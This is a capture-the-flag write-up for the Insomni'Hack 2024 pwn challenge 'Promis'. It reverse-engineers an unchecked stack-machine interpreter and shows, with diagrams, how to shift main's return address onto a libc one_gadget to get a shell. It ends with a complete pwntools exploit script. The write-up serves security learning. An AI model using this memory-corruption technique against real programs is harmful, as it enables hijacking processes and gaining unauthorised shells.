##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

Promis

[Insomni'Hack Finals, 2024]

category: pwn

by PaideiaDilemma

Challenge

We are given an executable and the first step was to see what is going on. Upon opening the binary in Ghidra we were presented with a pretty telling switch statement.

  while (buffer[*state] != '\0') {
    switch(buffer[*state]) {
    case '\0':
      *state = 0;
      goto LAB_001017ca;
    default:
      exit(0);
    case '\b':
      *state = *state + 1;
      consume_write_int(regs,(int)buffer[*state]);
      *state = *state + 4;
      break;
    case '\x12':
      *state = *state + 1;
      consume_write_char(regs,buffer[*state]);
      *state = *state + 1;
      break;
    case '\x16':
      *state = *state + 1;
      consume_write_long(regs,(long)buffer[*state]);
      *state = *state + 8;
      break;
    case ' ':
      add_clear_prev(regs);
      *state = *state + 1;
      break;
    case '$':
      *state = *state + 1;
      reg0_add_next(regs,buffer[*state]);
      *state = *state + 1;
      break;
    case '(':
      *state = *state + 1;
      iVar2 = add_slots_restricted(regs,param_4);
      if (iVar2 == 0) {
        exit(0);
      }
      break;
    case '2':
      *state = *state + 1;
      reg0_decr_next(regs,buffer[*state]);
      *state = *state + 1;
      break;
    case '6':
      *state = *state + 1;
      move_slot_up_clear_prev(regs);
      break;
    case '@':
      *state = *state + 1;
      clear_prev(regs);
      break;
    case 'D':
      consume_slot_double_prev(regs);
      *state = *state + 1;
      break;
    case 'H':
      incr_curr(regs);
      *state = *state + 1;
      break;
    case 'R':
      decr_curr(regs);
      *state = *state + 1;
      break;
    case 'V':
      *state = *state + 1;
      set_curr_int(regs,*(undefined4 *)(buffer + *state));
      *state = *state + 4;
    }
  }

This was quickly identified as a weird stack machine that operated on the stack without any bound checks. We identified that regs was a struct with the following members.

struct {
  long *curr;
  long *unused;
  int counter;
} regs;

After checking each state, we gathered that we could essentially do the following operations:

  • Shift regs->curr by 10*8 downwards in the stack (upwards in memory, meaning curr+10) and decrment the counter by 10 via (. This is the only way to shift regs->curr downwards.
  • Write different widths to the stack and shift regs->curr by upwards by one. (downwards in memory, so curr-1). But those operations did a check on the count. So if we shift regs->curr downwards via ( we cannot use those operations to write something on the stack.
  • Write an int without incrementing regs->curr.
  • Move regs->curr and the value it points to upwards by one set the previous value to 0. So from ... | 0x12345678 | curr: 0x987654321 | ... to ... | curr: 0x987654321 | 0 | ....
  • Add the value at regs->curr[-1] to the value at regs->curr.
  • Add a char as an operant to the value at regs->curr.

And some other operations that turned out to be irrelevant.

Exploit

Goal: get a shell.

Before getting to the stack machine, we had to overflow a 4 byte buffer in order to get to the input that was then passed to the stack machine. A payload like 0001\n did the trick there.

The next thing was to check if there maybe is a nice one_gadget we could use instead of assembling a ROP chain on the stack. And indeed, nix run nixpkgs\#one_gadget -- ./libc-2.27.so found

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

which was really good, because even if [rsp+0x40] == NULL is not valid we likely could overwrite the value at rsp+0x40 with the stack machine.

Now the plan was to move the RIP of main (a libc address returning to __libc_start_main) upward in the stack to the RIP function that is the stack machine and then add the offset to the one_gadget to it.

But I rand into some problems:

  1. The offset to the one_gadget was to big for using the operations that adds a char to the value at regs->curr.
  2. So the only viable way was to use the operation that adds the value at regs->curr[-1] to the value at regs->curr.
  3. For that we first have to write the offset value at the current position and then use ( to move regs->curr to be at the main RIP to move it upwards and add the offset at some point. For that I needed some way of moving regs->curr upwards without overwriting the current value.

I struggled with number 3 for a while, because once writing the offset, I was only able to move upwards, clearing all the values below.

After pondering on it for a bit, I realized that I could move up without clearing previous values by first clearing the value at regs->curr[-1] and then using the add operation, which essentially moved the value at regs->curr[-1] downwards. Thats what the MOVE_UP_ADD_ABOVE in the exploit script does.

Here is how the shifting works in the exploit script, after the offset was written:

                                                              
                                        ADD_SLOTS             
                             +-------------------------------+
                             |  Canary                       |
                             |-------------------------------|
                             |                               |
                             |-------------------------------|
               curr -------- |  Offset to one_gadget         |
                             |-------------------------------|
                |            |  RIP of the stackmachine      |
                |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
         Add 10 |            |  RIP of main                  |
                |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
                +--------->  |                               |
                             +-------------------------------+
                                                              
                                                              
                                   MOVE_UP_ADD_ABOVE * 4      
                             +-------------------------------+
                             |                               |
                             |-------------------------------|
                             |  Offset to one_gadget         |
                             |-------------------------------|
                             |  RIP of the stackmachine      |
                             |-------------------------------|
                             |                               |
                             |-------------------------------|
                             |                               |
                             |-------------------------------|
                             |                               |
                             |-------------------------------|
                             |  RIP of main                  |
                             |-------------------------------|
       Set to 0 +--------->  |                               |
                |            |-------------------------------|
                |            |                               |
       Move up  |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
               curr -------- |                               |
                             +-------------------------------+
                                                              
                                                              
                                      MOVE_ADD_ABOVE          
                             +-------------------------------+
                             |                               |
                             |-------------------------------|
                             |  Offset to one_gadget         |
                             |-------------------------------|
                             |  RIP of the stackmachine      |
                             |-------------------------------|
                             |                               |
                             |-------------------------------|
                             |                               |
                             |-------------------------------|
                             |                               |
                             |-------------------------------|
                             |  RIP of main                  |---------+
                             |-------------------------------|         | Add value above
               curr -------- |                               | <-------+
                             |-------------------------------|
                             |                               |
                             +-------------------------------+
                                                              
                                                              
                                   MOVE_UP_ADD_ABOVE * 4      
                             +-------------------------------+
                             |                               |
                             |-------------------------------|
                             |  Offset to one_gadget         |
                             |-------------------------------|
                +--------->  |  RIP of the stackmachine      |
                |            |-------------------------------|
                |            |                               |
       Move up  |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
                |            |                               |
                |            |-------------------------------|
               curr -------- |  RIP of main                  |
                             |-------------------------------|
                             |                               |
                             +-------------------------------+


                                       ADD_SLOT_ABOVE
                             +-------------------------------+
                             |                               |
                             |-------------------------------|
                             |  Offset to one_gadget         |---------+
                             |-------------------------------|         | Add value above
               curr -------- |  RIP of main                  | <-------+
                             |-------------------------------|
                             |                               |
                             +-------------------------------+

And thats it. After the ADD_SLOT_ABOVE succeeds and the stack machine exits and our one_gadget gets called. yay!

Here is the full exploit script:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host promis.insomnihack.ch --port 6666 --libc libc-2.27.so promis
from pwn import *
import random
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or "promis_patched")
context.terminal = ["foot"]
# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or "promis.insomnihack.ch"
port = int(args.PORT or 6666)
def start_local(argv=[], *a, **kw):
    """Execute the target binary locally"""
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
    """Connect to the process on the remote host"""
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io
def start(argv=[], *a, **kw):
    """Start the exploit against the target."""
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = """
# brva 0x14b6
# add slots
brva 0x01698
# 0x12 move clear
brva 0x16c8
# return from machine
brva 0x17df
# add slot above
brva 0x0101d
continue
""".format(**locals())
# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
# Arch:     amd64-64-little
# RELRO:      Full RELRO
# Stack:      Canary found
# NX:         NX enabled
# PIE:        PIE enabled
def enter(io):
    io.sendafter(b"choice: ", b"0001\n")
LIBC_MAIN_RET_OFFSET = 0x21C87
LIBC_ONE_GADGET = 0x4F302
LIBC_INCR = LIBC_ONE_GADGET - LIBC_MAIN_RET_OFFSET
CONSUME_WRITE_INT = b"\b"
CONSUME_WRITE_CHAR = b"\x12"
CONSUME_WRITE_LONG = b"\x16"
CONSUME_WRITE_0 = CONSUME_WRITE_CHAR + b"\x00"
ADD_SLOT_ABOVE = b" "
ADD_CHAR_TO_SLOT = b"$"
ADD_SLOTS = b"("
MOVE_UP_CLEAR = b"6"
ADD_CURR = b"$"
SET_CURR_INT = b"V"
MOVE_UP_ADD_ABOVE = SET_CURR_INT + p32(0) + ADD_SLOT_ABOVE + MOVE_UP_CLEAR
payload = (
    ADD_SLOTS
    + CONSUME_WRITE_0 * 8
    + ADD_SLOTS
    + SET_CURR_INT
    + p32(LIBC_INCR)
    + ADD_SLOTS
    + MOVE_UP_CLEAR * 4
    + MOVE_UP_ADD_ABOVE
    + MOVE_UP_CLEAR * 4
    + ADD_SLOT_ABOVE
)
io = start()
enter(io)
assert len(payload) < 0x100
io.sendline(payload)
io.interactive()
/writeups/ $

$